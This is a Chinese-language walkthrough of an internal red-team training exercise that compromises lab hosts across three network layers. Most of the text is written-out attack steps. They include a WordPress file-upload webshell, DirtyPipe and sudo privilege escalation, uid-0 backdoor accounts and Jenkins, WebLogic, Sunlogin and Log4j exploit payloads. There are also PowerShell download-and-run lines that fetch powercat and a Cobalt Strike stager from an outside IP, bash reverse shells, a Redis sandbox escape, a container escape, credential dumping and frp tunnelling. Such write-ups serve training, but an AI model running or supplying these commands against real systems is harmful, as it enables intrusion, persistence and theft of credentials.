中移集团内部练兵赛
发现入口存在两台靶机
第一层
靶机一:Linux
信息收集
nmap -T4 -v -A -O 172.16.15.80
扫描发现存在8080的apache服务端口访问发现是个wordpress站点
目录探测发现存在源码包泄露
readme文件泄露文件提示存在文件上传插件
由此根据泄露的源码插件文件和经验和百度的挖掘出当前版本存在Wordpress插件WPFileManager插件任意文件上传远程代码执行漏洞
网上搜集利用脚本直接利用
检测存在漏洞
上传成功shell地址:
http://172.16.15.159:8080/wp-content/plugins/wp-file-manager/lib/php/../files/shell.php
中国蚁剑链接成功,获取站点路径flag
直接执行命令发现执行不了,查看phpinfo发现disable_function禁用了好多函数
使用中国蚁剑插件bypass一下,可以成功执行命令
反弹shell至本地bash -c 'exec bash -i &>/dev/tcp/172.16.15.159/9999 <&1'
通过前面查看站点配置文件发现数据库链接信息
1 | // ** MySQL 设置 - 具体信息来自您正在使用的主机 ** // |
直接使用如下命令获取到库中flag
目前是个低权限账户,查看内核版本的uname -a
当前内核版本符合CVE-2022-0847-DirtyPipe-Exploit 提权
上传提权源码
本地路径开启简单http服务 python -m http.server
使用wget下载提权文件
1 | wget http://172.16.15.159:8000/compile.sh |
编译运行成功获取root权限
cat /root/rootflag.txt
新增root管理员账户
useradd -o -u 0 -g root -G root -m -s /bin/bash -p "$(openssl passwd -1 123456)" greetdawn
成功拿下第一台linux 管理员shell
靶机二:windows
信息收集发现存在7001端口,是一个jenkins服务器,猜测中间件为weblogic
下载压缩包文件www.zip 获取flag
访问console到达weblogic管理界面 获取版本为12.2.1.3.0 此版本存在weblogic未授权rce
payload:/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=
getshell思路一:jenkins CVE-2018-1000861
jenkins的版本,发现是2.135,exp地址:https://github.com/orangetw/awesome-jenkins-rce-2019/blob/master/exp.py
python exp.py "http://172.16.15.81:7001/" "powershell IEX (New-Object System.Net.Webclient).DownloadString('http://172.16.15.80/powercat.ps1');powercat -c 172.16.15.80 -p 9998 -e cmd"
getshell思路二:weblogic 未授权RCE CVE-2020-14882
exp地址 https://github.com/backlion/CVE-2020-14882_ALL/
python3 CVE-2020-14882_ALL.py -u "http://172.16.15.81:7001/" -c "whoami"
借助powercat反弹shell,构造payload
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://172.16.15.80:8000/powercat.ps1');powercat -c 172.16.15.80 -p 9999 -e cmd
成功上线
在桌面发现flag
生成cs马 上线cs
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://139.196.234.164:80/a'))"
shell tasklist 查看运行存在向日葵
前期nmap扫描发现存在四万的向日葵接口,猜测可能存在最新的CNVD-2022
抓包的访问接口http://192.168.88.20:49161/cgi-bin/rpc?action=verify-haras
获取token
访问接口/check?cmd=ping../../../../../../../../../../../windows/system32/whoami
设置Cookie: CID=Vge3OSfWDQoFpUoH4186hIfQCbzw18Cm
直接是管理员权限,那么利用该漏洞直接提权system
/check?cmd=ping../../../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe IEX (New-Object System.Net.Webclient).DownloadString('http://139.196.234.164:8000/powercat.ps1');powercat -c 139.196.234.164 -p 9988 -e cmd
成功获取管理员权限
上线cs
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://139.196.234.164:80/a'))"
抓取管理员密码cimer@win@2022!!!
查看3389端口未开,开启3389端口
1 | reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f |
成功登陆,在管理员桌面找到flag
第二层
拿下主机权限后,查看网络情况,发现存在172的内网网段
上传dismap内网扫描神器,开撸
扫描发现存在一个172.16.88.50
的主机开放了redis服务和apache solr服务
通过第一层linux主机获取的redis连接密码尝试链接
info
查看当前redis版本是5.0.7 ,linux系统内核为Linux 5.8.0-48-generic x86_64
根据版本联想到今年最新的redis沙箱漏洞CVE-2022-0543,直接尝试一下拿到主机权限
1 | payload:eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ifconfig", "r"); local res = f:read("*a"); f:close(); return res' 0 |
对apache slor进行log4j2漏洞打一波
由于该服务在内网且不出网所以不方便直接在自己的本地vps开服务。这里直接用第一层拿下的主机开启恶意ldap服务
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuODguMjAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 172.16.88.20 |
开启监听
1 | nc -lvvp 4444 |
命令注入点
1 | http://172.16.88.50:8983/solr/admin/cores?action=${jndi:ldap://172.16.88.20:1389/2jrkzw} |
成功上线拿到shell,但是是一个地权限账户
在网站根路径下找到flag /opt/solr/server/solr-webapp/webapp/flag.jsp
这里查看内核版本和sudo看到可以用两种提权方式,这里采用sudo提权
1 | sudo find . -exec /bin/bash \; |
发现当前solr服务其实也是在docker容器中,尝试最新docker逃逸CVE-2022-0492
1 | !/bin/bash |
将上述编码直接base64后echo进exp中即可,执行直接逃逸成功
获取的宿主机中的flag
直接在宿主机中添加root账户
1 | useradd -o -u 0 -g root -G root -m -s /bin/bash -p "$(openssl passwd -1 123456)" greetdawn |
成功获取主机,查看网络存在root内层网卡
上传fscan探测一波 10.20.88.0/24
扫描发现内层存在通达OA,且有已知漏洞
由于内层主机跨网段,需要搭建二级代理,由于前期使用了frp作为socket代理,这里继续使用frp做二级代理操作
win2012主机frpc.ini
配置
1 | [common] |
win2012主机frps.ini
配置
1 | [common] |
第二层linux主机frpc.ini配置
1 | [common] |
再第二层主机上后台运行frpc
1 | nohup ./frpc -c frpc.ini > /dev/null 2>&1 & |
第三层
代理成功直接访问到第三层通达服务,直接使用本地exp打一波
直接蚁剑连接,发现直接就是system权限,那就随便梭哈吧!